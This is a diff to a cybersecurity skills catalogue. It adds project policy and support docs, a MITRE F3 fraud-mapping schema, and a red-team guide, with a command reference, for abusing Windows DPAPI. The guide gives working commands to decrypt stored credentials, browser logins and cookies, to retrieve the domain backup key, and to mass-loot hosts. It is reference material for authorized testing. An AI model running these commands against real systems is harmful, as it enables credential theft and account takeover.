+**Documents about how the project is run.** Roadmaps, work cadences, routines, release plans, launch material, status trackers. How I schedule my own maintenance is not something the catalogue needs to carry, and a document describing a cadence I have not agreed to would be wrong the day it merged. Propose process changes in an issue or a discussion instead.
+
+**Editor, IDE and per-contributor configuration.** `.vscode/` settings, local linter configs and vendor extension settings encode one contributor's environment on everyone else. Agent instruction files are the single exception and they are maintainer-owned — `.github/copilot-instructions.md` exists and is maintained in place. Changes to that class of file should start as an issue, not as a new parallel file.
+
+**Product-shaped skills.** A skill may absolutely be tool-specific: 247 of the 817 names carry a `-with-<tool>` qualifier, and `scanning-docker-images-with-trivy` is exactly right, because the flags, the output formats and the failure modes genuinely differ by tool. What does not belong is a directory whose *subject* is a product rather than a task — a feature tour, an onboarding walkthrough, or an integration write-up for one vendor's service. The test: if the vendor vanished tomorrow and nothing of the procedure survived, it was a product page. When a skill does name a commercial tool, the vendor-link rules in CONTRIBUTING.md apply.
+
+**Bulk imports.** A pull request adding many skills at once cannot be reviewed for technical accuracy at the depth this catalogue needs, and one wrong procedure blocks all the others. One skill per pull request; see CONTRIBUTING.md.
+
+## Why there is no engine in this repository
+
+The catalogue is engine-neutral by construction. `skills/` contains content only; `tools/` contains validators and the index generator and nothing that executes a skill; `.claude-plugin/` contains manifests that let an existing engine mount the catalogue rather than an engine of its own. The bug-report template asks which agent you were running, offering Claude Code, GitHub Copilot and Codex CLI as examples, and the README targets 26+ platforms.
+
+That neutrality is the asset. The moment a runtime lives in this repository, the content starts being shaped by what that runtime supports, the release cadence of the content gets tied to the release cadence of the code, and every consumer on a different platform inherits a dependency they did not ask for. I want the content here to stay separate from the engine that reads it, and I intend to keep this repository on that side of the line.
+
+## Grey areas
+
+Some things sit on the boundary — a large rewrite of an existing skill, a new subdomain, a reference file that is really a small tool, a documentation page that is not README and not CONTRIBUTING. Open an issue and ask before you build it. I would much rather answer a two-line issue than decline a finished pull request, and if the answer is yes, the issue becomes the record of why.
+
+## Changing this document
+
+This is a working document, not a settlement. If a rule here is wrong, or is blocking something the catalogue would clearly be better for having, open an issue arguing the case. Scope decisions are mine to make, but they should be arguable in the open.

SUPPORT.md

@@ -0,0 +1,46 @@
+# Support
+
+This project is maintained by one person alongside other work. That shapes what support looks like here, so it is worth being direct about it rather than leaving you to guess.
+
+## Where to go
+
+| I want to… | Use |
+|---|---|
+| Ask how something works | [Discussions](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/discussions) |
+| Report a skill that is wrong, broken, or out of date | [Issues](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/issues) |
+| Propose a new skill | Issue first, then a PR — see [CONTRIBUTING.md](CONTRIBUTING.md) |
+| Fix something yourself | Open a PR. This is the fastest path to change. |
+| Report a security problem | See [SECURITY.md](SECURITY.md) |
+
+Issues are for concrete defects: a command that does not work, a flag that does not exist, a framework ID that is wrong, a script that fails. Questions belong in Discussions, where other people can answer too and the answer stays findable.
+
+## What to expect
+
+There is no SLA. Response time varies with what else is happening; some pull requests have waited months, and that is a real cost I am working to reduce rather than a policy.
+
+What moves fastest, in order:
+
+1. A PR that fixes one thing and passes the validators.
+2. An issue that names the skill, quotes the failing command, and shows the actual output.
+3. Everything else.
+
+What tends to stall: large multi-skill PRs, feature requests outside the skill-library format, and requests for bespoke integration help.
+
+## Before you open an issue
+
+```bash
+pip install pyyaml
+python tools/validate-skill.py skills/<skill-name>
+```
+
+If a skill fails validation, that output is the most useful thing you can paste. If you are reporting a procedure that does not work, say which version of the tool you ran and what it printed — "this does not work" is not actionable, and a wrong procedure in a security library is worth fixing properly.
+
+## What this project is not
+
+It is a reference library, not a product. It ships no service, holds no data, and makes no availability guarantee. Skills describe procedures for systems you own or are authorised to assess — see [SCOPE.md](SCOPE.md).
+
+If you need something with a support contract behind it, this is not that, and I would rather say so plainly than have you discover it during an incident.
+
+## Helping
+
+The most useful contributions are unglamorous: correcting a procedure you actually ran, adding a framework mapping you verified, or telling me two skills are competing for the same request. All three make the library measurably better for everyone using it.

docs/mitre-f3-mapping.md

@@ -0,0 +1,93 @@
+# MITRE Fight Fraud Framework (F3) — Mapping Schema
+
+This repository maps fraud-relevant skills to the **MITRE Fight Fraud Framework (F3)**,
+released April 9, 2026 by MITRE's Center for Threat-Informed Defense (CTID). F3 is an
+ATT&CK-compatible TTP catalog for cyber-enabled financial fraud.
+
+- Upstream project: <https://ctid.mitre.org/fraud/>
+- Source repo: <https://github.com/center-for-threat-informed-defense/fight-fraud-framework>
+- License: Apache-2.0
+- Mapped version in this repo: **F3 v1.1**
+
+## Why F3 in addition to ATT&CK
+
+ATT&CK collapses post-compromise fraud into the single `T1657` (Financial Theft)
+technique. F3 decomposes the "how a cyber intrusion becomes a financial loss" stages
+into two dedicated tactics that ATT&CK does not have:
+
+- **Positioning** (`FA0001`) — after access, collect/manipulate data and prepare the fraud.
+- **Monetization** (`FA0002`) — convert stolen assets into usable funds.
+
+So `mitre_attack` answers "how did the adversary get in / operate technically" and
+`mitre_f3` answers "how did that turn into money." They are kept as **separate
+frontmatter blocks** because F3 redefines several ATT&CK tactics for the fraud context.
+
+## The 8 F3 v1.1 tactics
+
+| Tactic slug | F3 ID | Origin |
+|---|---|---|
+| `reconnaissance` | TA0043 | ATT&CK (redefined) |
+| `resource-development` | TA0042 | ATT&CK (redefined) |
+| `initial-access` | TA0001 | ATT&CK (redefined) |
+| `stealth` | TA0005 | ATT&CK (redefined) |
+| `positioning` | **FA0001** | **F3-new** |
+| `execution` | TA0002 | ATT&CK (redefined) |
+| `monetization` | **FA0002** | **F3-new** |
+| `defense-impairment` | TA0112 | ATT&CK (redefined) |
+
+## Technique ID conventions
+
+- **`F1XXX`** — fraud-specific techniques introduced by F3 (e.g. `F1005.003`
+  Account Manipulation: Add Beneficiary, `F1025.003` Electronic Funds Transfer:
+  Wire Transfer, `F1018` Convert to Cryptocurrency).
+- **`T1XXX`** — ATT&CK techniques reused verbatim inside F3 (e.g. `T1566` Phishing,
+  `T1586` Compromise Accounts, `T1557` Adversary-in-the-Middle).
+- Sub-techniques use ATT&CK dot notation (`F1005.003`, `T1566.002`).
+
+Every ID used in this repo is a real, active technique present in the F3 v1.1 STIX
+bundle — there are no `TBD`/placeholder IDs.
+
+## Frontmatter schema
+
+The `mitre_f3` block sits alongside the existing `mitre_attack` block:
+
+```yaml
+mitre_f3:
+  version: '1.1'
+  tactics:
+    - positioning
+    - monetization
+  techniques:
+    - id: F1005.003
+      name: 'Account Manipulation: Add Beneficiary'
+      tactic: positioning
+      source: f3          # F-prefixed = fraud-specific
+    - id: T1586
+      name: Compromise Accounts
+      tactic: resource-development
+      source: attack      # T-prefixed = reused ATT&CK
+```
+
+Rules:
+1. `id` must be a real F3 v1.1 technique ID.
+2. `name` must match the technique's official name in the F3 catalog.
+3. `tactic` must be one the technique actually lists in the catalog.
+4. `source` is `f3` for `F1XXX` IDs and `attack` for `T1XXX` IDs.
+
+## Scope
+
+F3 mappings are applied only to **fraud-relevant skills** — phishing/social
+engineering, account takeover, banking malware/stealers, BEC, identity/KYC,
+payment/card fraud, money-mule/cash-out, ransomware extortion, and the cross-cutting
+DFIR and threat-intelligence skills. Skills with no fraud dimension do not carry an
+`mitre_f3` block.
+
+## Regenerating / verifying the catalog
+
+```bash
+git clone --depth 1 https://github.com/center-for-threat-informed-defense/fight-fraud-framework
+# technique catalog is the STIX bundle:
+#   fight-fraud-framework/public/f3-stix-v1.1.json
+```
+
+All `mitre_f3` IDs in this repo are validated against that bundle on every update.

mappings/README.md

@@ -21,7 +21,7 @@ Alternatively, paste the raw JSON URL into the Navigator's "Load from URL" optio
 
 | Metric | Value |
 |--------|-------|
-| Total skills scanned | 742 |
+| Total skills scanned | 817 |
 | Unique ATT&CK techniques referenced | 218 |
 | Parent techniques | 94 |
 | Sub-techniques | 124 |

mappings/mitre-attack/coverage-summary.md

@@ -1,6 +1,6 @@
 # ATT&CK Coverage Summary
 
-Coverage analysis of the 753 cybersecurity skills mapped to MITRE ATT&CK Enterprise v15 tactics.
+Coverage analysis of the 805 cybersecurity skills mapped to MITRE ATT&CK Enterprise tactics.
 
 ## Tactic Coverage Matrix
 

skills/abusing-dpapi-for-credential-access/LICENSE

@@ -0,0 +1,201 @@
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to the Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by the Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding any notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. Please do not remove or change
+      the license header comment from a contributed file except when
+      necessary.
+
+   Copyright 2026 mukul975
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

skills/abusing-dpapi-for-credential-access/SKILL.md

@@ -0,0 +1,209 @@
+---
+name: abusing-dpapi-for-credential-access
+description: Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.
+domain: cybersecurity
+subdomain: red-teaming
+tags:
+- red-team
+- credential-access
+- dpapi
+- sharpdpapi
+- post-exploitation
+- active-directory
+- windows
+- mimikatz
+version: '1.0'
+author: mahipal
+license: Apache-2.0
+nist_csf:
+- DE.CM-01
+mitre_attack:
+- T1555.004
+---
+# Abusing DPAPI for Credential Access
+
+> **Legal Notice:** This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Extracting credentials from systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud and abuse laws. Always operate within a signed rules-of-engagement and document every action.
+
+## Overview
+
+The Windows Data Protection API (DPAPI) is the operating system's built-in symmetric-encryption service that applications use to protect secrets at rest: saved RDP and Windows Credential Manager credentials, web and Wi-Fi credentials in the Credential Vault, browser saved logins and cookies (Chrome/Edge), KeePass keys, certificate private keys, and Scheduled Task passwords. DPAPI derives a per-user (or per-machine) **master key** from the user's password (or the machine account secret), and that master key encrypts individual "DPAPI blobs." The encrypted master keys live under `%APPDATA%\Microsoft\Protect\<SID>\` (user) and `%WINDIR%\System32\Microsoft\Protect\` (machine).
+
+Red teamers abuse DPAPI to recover plaintext secrets after gaining a foothold, mapping to MITRE ATT&CK **T1555.004 (Credentials from Password Stores: Windows Credential Manager)**. There are three primary decryption paths:
+
+1. **Online / context-based** — running as the target user, DPAPI APIs (`CryptUnprotectData`) transparently decrypt the user's blobs. SharpDPAPI's `/unprotect` flag uses this.
+2. **Offline with the user password or NTLM hash** — decrypt the user's master keys with `/password:` or `/ntlm:`, then decrypt the blobs offline (great for triaged files pulled from a host).
+3. **Domain-wide with the DPAPI backup key** — Domain Admins can extract the domain's RSA DPAPI backup key (`.pvk`) once, then decrypt *any* domain user's master keys forever, online or offline, with `/pvk:`.
+
+The canonical tooling is **SharpDPAPI** (GhostPack, a C# port of Mimikatz DPAPI functionality) for Windows, **SharpChrome** for browser secrets, and **Mimikatz** (`dpapi::*`) as the original implementation. On Linux, Impacket's `dpapi.py` and `donpapi` perform remote/offline triage.
+
+## When to Use
+
+- After compromising a Windows host where the user has saved RDP, browser, or vault credentials worth harvesting for lateral movement.
+- When you hold a user's password or NTLM hash and want to decrypt their DPAPI-protected secrets offline.
+- When you have Domain Admin and want to obtain the domain DPAPI backup key to decrypt any user's protected data across the estate.
+- When triaging exfiltrated `Credentials`, `Vault`, or `Protect` directories from disk images.
+- During purple-team exercises to validate detection of DPAPI master-key access and LSASS/Protect-folder reads.
+
+## Prerequisites
+
+- An authorized foothold (interactive session, beacon, or remote admin) on the target Windows host.
+- Knowledge of the target user's SID, and one of: the user's session, password, NTLM hash, or Domain Admin rights for the backup key.
+- Tooling (compile from source or use release binaries; obtain only from official upstreams):
+
+```bash
+# SharpDPAPI / SharpChrome (GhostPack) — build with Visual Studio / msbuild
+git clone https://github.com/GhostPack/SharpDPAPI.git
+# Open SharpDPAPI.sln and build Release, or:
+msbuild SharpDPAPI.sln /p:Configuration=Release
+
+# Mimikatz (original DPAPI implementation)
+# https://github.com/gentilkiwi/mimikatz/releases
+
+# Linux remote/offline triage (Impacket)
+pipx install impacket            # provides dpapi.py / impacket-dpapi
+pipx install donpapi             # https://github.com/login-securite/DonPAPI
+```
+
+## Objectives
+
+- Triage a host for DPAPI-protected credential, vault, RDP, and certificate blobs.
+- Decrypt user master keys online (`/unprotect`), with a password/hash, or with the domain backup key.
+- Recover plaintext Credential Manager and Vault secrets.
+- Extract browser saved logins and cookies with SharpChrome.
+- Obtain and reuse the domain DPAPI backup key for estate-wide decryption.
+
+## MITRE ATT&CK Mapping
+
+| Technique ID | Name | Tactic | Relevance |
+|--------------|------|--------|-----------|
+| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager / Vault entries; decrypting master keys and blobs recovers these stored credentials. |
+| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected Chrome/Edge logins, cookies, and state keys. |
+| T1003 | OS Credential Dumping | Credential Access | Extracting master keys / backup keys is a form of credential material dumping. |
+
+## Workflow
+
+### 1. Triage the host for DPAPI blobs
+
+Run the SharpDPAPI `triage` command in the user's context to automatically enumerate and (where possible) decrypt credentials, vaults, RDG/RDP, and certificates:
+
+```powershell
+# Online triage in the current user's context (uses CryptUnprotectData)
+SharpDPAPI.exe triage /unprotect
+
+# Machine triage (requires local admin / SYSTEM) for machine-scoped blobs
+SharpDPAPI.exe machinetriage
+```
+
+### 2. Decrypt user master keys offline (password or NTLM hash)
+
+If you hold the user's password or hash, decrypt their master keys to a `{GUID}:SHA1` mapping you can reuse against individual blobs:
+
+```powershell
+# Decrypt all of the current/specified user's master keys with the password
+SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple
+
+# Decrypt master keys with the user's NTLM hash instead of the password
+SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a
+
+# Output is GUID:SHA1 lines — feed them to credentials/vaults commands
+```
+
+### 3. Recover Credential Manager and Vault secrets
+
+Use the decrypted master-key mapping (or `/pvk:`) to decrypt the stored credentials and vault entries:
+
+```powershell
+# Decrypt Credential Manager blobs with a GUID:SHA1 mapping
+SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1
+
+# Or point at a target Credentials folder and decrypt with the domain backup key
+SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk
+
+# Decrypt Credential Vault entries
+SharpDPAPI.exe vaults /pvk:backupkey.pvk
+```
+
+### 4. Decrypt RDP, KeePass, and certificate secrets
+
+```powershell
+# Saved RDCMan.settings RDP passwords (current user context)
+SharpDPAPI.exe rdg /unprotect
+
+# KeePass DPAPI-protected master keys
+SharpDPAPI.exe keepass /unprotect
+
+# Certificate private keys (export usable .pem with /showall for all stores)
+SharpDPAPI.exe certificates /unprotect /showall
+```
+
+### 5. Extract browser credentials with SharpChrome
+
+SharpChrome decrypts Chrome/Edge logins and cookies. Modern Chromium uses an App-Bound "state key" that SharpChrome resolves via DPAPI:
+
+```powershell
+# Decrypt saved logins for the current user
+SharpChrome.exe logins /unprotect
+
+# Decrypt cookies (useful for session hijacking) in a target folder
+SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk
+
+# Resolve the AES state key explicitly
+SharpChrome.exe statekeys /unprotect
+```
+
+### 6. Obtain the domain DPAPI backup key (Domain Admin)
+
+With Domain Admin, retrieve the domain's RSA DPAPI backup private key once. This key decrypts every domain user's master keys indefinitely:
+
+```powershell
+# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface
+SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk
+```
+
+Then decrypt any user's master keys offline with it:
+
+```powershell
+SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\
+```
+
+### 7. Remote / Linux-based triage (Impacket / DonPAPI)
+
+From a Linux operator box, harvest and decrypt DPAPI secrets across hosts:
+
+```bash
+# Decrypt a single masterkey file with Impacket using the domain backup key
+impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk
+
+# Decrypt a credential blob with the recovered masterkey
+impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>
+
+# Mass remote DPAPI looting across hosts with DonPAPI
+donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24
+```
+
+## Tools and Resources
+
+| Tool | Purpose | Link |
+|------|---------|------|
+| SharpDPAPI | Windows DPAPI triage/decryption (C#) | https://github.com/GhostPack/SharpDPAPI |
+| SharpChrome | Chromium logins/cookies/state-key decryption | https://github.com/GhostPack/SharpDPAPI |
+| Mimikatz | Original DPAPI (`dpapi::*`) implementation | https://github.com/gentilkiwi/mimikatz |
+| Impacket dpapi.py | Remote/offline DPAPI decryption (Python) | https://github.com/fortra/impacket |
+| DonPAPI | Mass remote DPAPI looting | https://github.com/login-securite/DonPAPI |
+| HackTricks DPAPI | Technique reference | https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html |
+
+## Detection and OPSEC Notes
+
+- Master-key access and reads of `\Microsoft\Protect\` and `\Microsoft\Credentials\` are detectable; `backupkey` triggers an MS-BKRP RPC call to the DC.
+- The `/unprotect` (online) path is the stealthiest single-host option but only works as the live user.
+- Defenders should monitor for Sysmon process access to LSASS and abnormal access to Protect/Credentials folders (DE.CM-01).
+
+## Validation Criteria
+
+- [ ] Host triaged with `SharpDPAPI triage` / `machinetriage`.
+- [ ] User master keys decrypted via `/unprotect`, `/password:`, `/ntlm:`, or `/pvk:`.
+- [ ] Credential Manager and Vault secrets recovered.
+- [ ] RDP / KeePass / certificate secrets extracted where present.
+- [ ] Browser logins/cookies decrypted with SharpChrome.
+- [ ] Domain DPAPI backup key retrieved with Domain Admin (if in scope) and reused offline.
+- [ ] All recovered secrets documented with source host/user and ROE adherence confirmed.

skills/abusing-dpapi-for-credential-access/references/api-reference.md

@@ -0,0 +1,73 @@
+# SharpDPAPI / DPAPI — Command Reference
+
+## SharpDPAPI User Commands
+
+| Command | Purpose | Example |
+|---------|---------|---------|
+| `triage` | Auto-run credentials, vaults, rdg, certificates | `SharpDPAPI.exe triage /unprotect` |
+| `masterkeys` | Decrypt user master keys (GUID:SHA1 output) | `SharpDPAPI.exe masterkeys /password:Pass` |
+| `credentials` | Decrypt Credential Manager blobs | `SharpDPAPI.exe credentials /pvk:key.pvk` |
+| `vaults` | Decrypt Credential Vault entries | `SharpDPAPI.exe vaults /pvk:key.pvk` |
+| `rdg` | Decrypt RDCMan.settings RDP passwords | `SharpDPAPI.exe rdg /unprotect` |
+| `keepass` | Decrypt KeePass DPAPI keys | `SharpDPAPI.exe keepass /unprotect` |
+| `certificates` | Decrypt certificate private keys | `SharpDPAPI.exe certificates /unprotect /showall` |
+
+## SharpDPAPI Machine Commands (require admin/SYSTEM)
+
+| Command | Purpose |
+|---------|---------|
+| `machinemasterkeys` | Decrypt machine master keys (uses DPAPI_SYSTEM LSA secret) |
+| `machinecredentials` | Decrypt machine credential blobs |
+| `machinevaults` | Decrypt machine vault entries |
+| `machinetriage` | Run all machine-scoped triage commands |
+
+## SharpDPAPI Supporting Commands
+
+| Command | Purpose | Example |
+|---------|---------|---------|
+| `backupkey` | Retrieve domain DPAPI backup key (.pvk) via MS-BKRP | `SharpDPAPI.exe backupkey /server:dc01 /file:key.pvk` |
+
+## Common Flags
+
+| Flag | Meaning |
+|------|---------|
+| `/unprotect` | Use live `CryptUnprotectData` in current user context (online) |
+| `/password:<pw>` | Decrypt master keys with the user's plaintext password |
+| `/ntlm:<hash>` | Decrypt master keys with the user's NTLM hash |
+| `/pvk:<file>` | Use domain backup private key for decryption |
+| `/mkfile:<file>` | Provide a specific master key file |
+| `/server:<dc>` | Target DC for backupkey retrieval |
+| `/target:<path>` | Target file/folder to decrypt |
+| `/rpc` | Use RPC to request master key decryption from a DC |
+| `/showall` | Show all certificate stores / verbose output |
+
+## SharpChrome Commands
+
+| Command | Purpose | Example |
+|---------|---------|---------|
+| `logins` | Decrypt saved browser logins | `SharpChrome.exe logins /unprotect` |
+| `cookies` | Decrypt browser cookies | `SharpChrome.exe cookies /pvk:key.pvk` |
+| `statekeys` | Decrypt the AES app-bound state key | `SharpChrome.exe statekeys /unprotect` |
+
+## Impacket dpapi.py (Linux)
+
+| Subcommand | Purpose | Example |
+|------------|---------|---------|
+| `masterkey` | Decrypt a master key file | `impacket-dpapi masterkey -file MK -pvk key.pvk` |
+| `credential` | Decrypt a credential blob | `impacket-dpapi credential -file CRED -key 0x<mk>` |
+| `vault` | Decrypt vault policy/creds | `impacket-dpapi vault -vpol VPOL -vcrd VCRD -key 0x<mk>` |
+| `backupkeys` | Retrieve domain backup keys | `impacket-dpapi backupkeys -t corp.local/admin@dc -pvk out.pvk` |
+
+## Key File Locations
+
+| Path | Contents |
+|------|----------|
+| `%APPDATA%\Microsoft\Protect\<SID>\` | User master keys |
+| `%WINDIR%\System32\Microsoft\Protect\` | Machine master keys |
+| `%LOCALAPPDATA%\Microsoft\Credentials\` | Credential Manager blobs |
+| `%APPDATA%\Microsoft\Vault\` / `%LOCALAPPDATA%\Microsoft\Vault\` | Credential Vault |
+
+## External References
+
+- SharpDPAPI README: https://github.com/GhostPack/SharpDPAPI
+- Impacket: https://github.com/fortra/impacket

skills/abusing-dpapi-for-credential-access/references/standards.md

@@ -0,0 +1,30 @@
+# Standards and References — Abusing DPAPI for Credential Access
+
+## NIST CSF 2.0
+
+| ID | Name | Rationale |
+|----|------|-----------|
+| DE.CM-01 | Networks and network services are monitored to find potentially adverse events | DPAPI abuse generates detectable signals (MS-BKRP backup-key RPC to the DC, Protect/Credentials folder access, LSASS access) that monitoring must surface. |
+
+## MITRE ATT&CK
+
+| Technique ID | Name | Tactic | Rationale |
+|--------------|------|--------|-----------|
+| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access | DPAPI protects Credential Manager/Vault entries; decrypting them recovers stored credentials. |
+| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access | SharpChrome decrypts DPAPI-protected browser logins/cookies. |
+| T1003 | OS Credential Dumping | Credential Access | Extracting master keys and the domain backup key dumps credential material. |
+
+## Supporting Frameworks and Standards
+
+- **MS-BKRP** — BackupKey Remote Protocol; the RPC interface used to retrieve the domain DPAPI backup key.
+- **MS-DPSP / DPAPI** — Microsoft's Data Protection API specification governing master keys and blob protection.
+- **D3FEND** — Credential Eviction / Password Rotation as mitigations after DPAPI compromise.
+
+## Official Resources
+
